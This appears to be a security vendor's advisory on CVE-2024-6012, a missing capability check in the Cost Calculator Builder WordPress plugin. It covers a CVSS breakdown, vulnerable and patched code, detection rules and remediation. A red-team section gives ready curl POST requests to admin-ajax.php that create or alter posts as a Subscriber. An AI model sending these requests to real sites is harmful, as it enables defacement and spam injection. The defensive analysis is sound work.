CVE-2024-6012

Executive Summary

CVE-2024-6012 is a medium-severity vulnerability in the Cost Calculator Builder WordPress plugin (versions up to and including 3.2.12). The flaw resides in the embed-create-page and embed-insert-pages AJAX actions, which lack proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to create arbitrary posts and append arbitrary content to existing posts without authorization. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 4.3. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any future patches immediately. Since the plugin is part of the WordPress ecosystem, supply chain risks include potential compromise of the plugin’s update mechanism or malicious code injection by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized creation/modification of posts)
• Availability Impact: None

Threat Level: Medium. While the impact is limited to unauthorized content creation, it can be used for defacement, spam injection, or as a stepping stone for further attacks.

Deep Dive & Mechanics

The vulnerability exists in the embed-create-page and embed-insert-pages functions of the Cost Calculator Builder plugin. These functions are intended to allow users with appropriate permissions to create or modify pages related to the calculator. However, the plugin fails to enforce a capability check (e.g., edit_posts or publish_posts) before executing these actions.

Attack Flow:

1. An authenticated attacker with Subscriber-level access sends a crafted POST request to the WordPress admin-ajax.php endpoint.
2. The request includes the action parameter set to embed-create-page or embed-insert-pages, along with necessary parameters (e.g., post title, content).
3. The plugin processes the request without verifying the user’s capabilities, creating a new post or appending content to an existing post.
4. The attacker can then use this to inject spam, malicious links, or deface the site.

Root Cause: Missing capability check in the AJAX handlers. The plugin should use current_user_can('edit_posts') or similar checks before processing the request.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix:

Vulnerable Code (simplified):

add_action('wp_ajax_embed-create-page', 'embed_create_page_callback');
function embed_create_page_callback() {
    // No capability check
    $post_data = array(
        'post_title'   => $_POST['title'],
        'post_content' => $_POST['content'],
        'post_status'  => 'publish',
        'post_type'    => 'page'
    );
    wp_insert_post($post_data);
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_embed-create-page', 'embed_create_page_callback');
function embed_create_page_callback() {
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_data = array(
        'post_title'   => sanitize_text_field($_POST['title']),
        'post_content' => wp_kses_post($_POST['content']),
        'post_status'  => 'publish',
        'post_type'    => 'page'
    );
    wp_insert_post($post_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Cost Calculator Builder plugin <= 3.2.12
• Valid user account with Subscriber role or higher

Exploitation Steps:

1. Log in as a Subscriber.
2. Obtain a valid WordPress nonce for AJAX actions (if required, though the vulnerability may not enforce nonce checks).
3. Send a crafted POST request to wp-admin/admin-ajax.php:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=embed-create-page&title=Malicious+Page&content=This+page+was+created+by+an+attacker&post_status=publish" \
  --cookie "wordpress_logged_in_<hash>=<session_cookie>"

4. Verify the new page appears on the site.

Alternative – Append to existing post:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=embed-insert-pages&post_id=123&content=Injected+content" \
  --cookie "wordpress_logged_in_<hash>=<session_cookie>"

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions embed-create-page or embed-insert-pages from low-privileged users.
• Look for sudden creation of pages or posts by Subscriber-level accounts.
• Check for unexpected content in existing posts.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" AND form_data=*embed-create-page*
| stats count by src_ip, user, uri_query

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=embed-create-page or action=embed-insert-pages
• File: Unexpected pages or posts created by Subscriber-level users
• Log: WordPress debug log entries showing AJAX calls from low-privileged users
• Database: Rows in wp_posts with post_author set to a Subscriber ID and post_type as 'page' or 'post'

Detection Engineering

YARA Rule

rule CVE_2024_6012_Cost_Calculator_Builder {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6012 in Cost Calculator Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6012"
    strings:
        $action1 = "embed-create-page"
        $action2 = "embed-insert-pages"
        $ajax = "admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-6012 - Cost Calculator Builder Unauthorized Post Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-6012 via AJAX requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'action=embed-create-page*'
    condition: selection
falsepositives:
    - Legitimate plugin usage by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6012 - Cost Calculator Builder Unauthorized Post Creation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=embed-create-page"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Ensure only trusted users have Subscriber-level access or higher.
3. Implement Web Application Firewall (WAF) rules to block requests containing embed-create-page or embed-insert-pages in the POST body.

Long-term Fix:

• The vendor must add capability checks (e.g., current_user_can('edit_posts')) to the affected AJAX handlers.
• Apply the principle of least privilege to all AJAX actions.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block malicious AJAX requests.
• Manually patch the plugin by adding capability checks to the embed-create-page and embed-insert-pages functions.

Valters IT – Securing digital frontiers, one CVE at a time.